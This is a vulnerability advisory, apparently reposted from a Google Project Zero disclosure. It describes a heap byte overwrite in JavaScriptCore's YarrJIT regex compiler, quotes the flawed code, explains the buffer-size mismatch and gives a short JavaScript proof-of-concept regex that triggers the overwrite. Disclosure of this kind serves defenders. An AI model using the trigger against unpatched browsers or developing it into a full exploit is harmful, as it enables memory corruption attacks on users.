JSC YarrJIT initParenContextFreeList Byte Overwrite

2019.07.31
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

JSC: YarrJIT: A bug in initParenContextFreeList void initParenContextFreeList() { RegisterID parenContextPointer = regT0; RegisterID nextParenContextPointer = regT2; size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes); parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize); // Check that the paren context is a reasonable size. if (parenContextSize > INT16_MAX) m_abortExecution.append(jump()); Jump emptyFreeList = branchTestPtr(Zero, freelistRegister); move(freelistRegister, parenContextPointer); addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer); addPtr(freelistRegister, freelistSizeRegister); subPtr(TrustedImm32(parenContextSize), freelistSizeRegister); Label loopTop(this); Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister); storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset())); move(nextParenContextPointer, parenContextPointer); addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer); jump(loopTop); initDone.link(this); storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset())); emptyFreeList.link(this); } class PatternContextBufferHolder { public: PatternContextBufferHolder(VM& vm, bool needBuffer) : m_vm(vm) , m_needBuffer(needBuffer) { if (m_needBuffer) { m_buffer = m_vm.acquireRegExpPatternContexBuffer(); m_size = VM::patternContextBufferSize; } else { m_buffer = nullptr; m_size = 0; } } The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten. PoC: let s = ''; for (let i = 0; i < 1000; i++) { s += '(?:a){0,2}'; } let r = new RegExp(s); for (let i = 0; i < 1000; i++) ''.match(r); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top